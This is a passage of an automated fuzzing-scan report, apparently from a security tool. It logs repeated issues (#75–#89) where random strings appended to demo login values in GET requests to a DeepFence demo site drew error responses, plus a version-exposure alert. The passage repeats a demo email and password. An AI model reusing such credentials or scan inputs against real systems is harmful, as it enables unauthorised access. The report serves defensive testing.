BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #75
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1ZgLQYjKcu2
DemoUser1# 7i2sNnvJ57U7H3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #76
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iom1cGMm1BWrig
DemoUser1# yOxEtUdBfWR
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #77
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioLxg45LrQyy
DemoUser1# AkXJe
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #78Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioabzYQeaOlz27
DemoUser1# 5xOLzY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #79
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioMQwbYl5A
DemoUser1# bK626rVqWQ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #80
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioSvi4GFQJhxKA
DemoUser1# kcPXu
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parametersdemouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #81
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioM4BwI
DemoUser1# 7fd1uE2pxiwX3sj
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #82
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.ioYHqcxo9iXxPjY2
DemoUser1# 0zFKXM1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #83
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUFkxzdzkX82E
DemoUser1# N2y9cmXnx
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #84
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioEnqcnyidOmoxhG
DemoUser1# lqz8eAN9lN7gtN
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #85
Scan Fuzzing ScanSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioQs05Ksp
DemoUser1# gzBUt
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #86
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHtHyP
DemoUser1# cFHDoriCjF2VAL
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #87
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUjaXMqsgg0F7iB
DemoUser1# irHJ5xNfF0M0PJ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #88
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioQ3q6L
DemoUser1# WKyCe92f
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points Since random data inserted into the parameters
demouser@deepfence.io
DemoUser1#
provoked an unexpected response, you may want to improve error handling in the code 
processing this input.
Issue Number #89
Scan Fuzzing Scan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioZ2t4fHTeNVh0UTrDemoUser1# kYb6GcX1EW
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
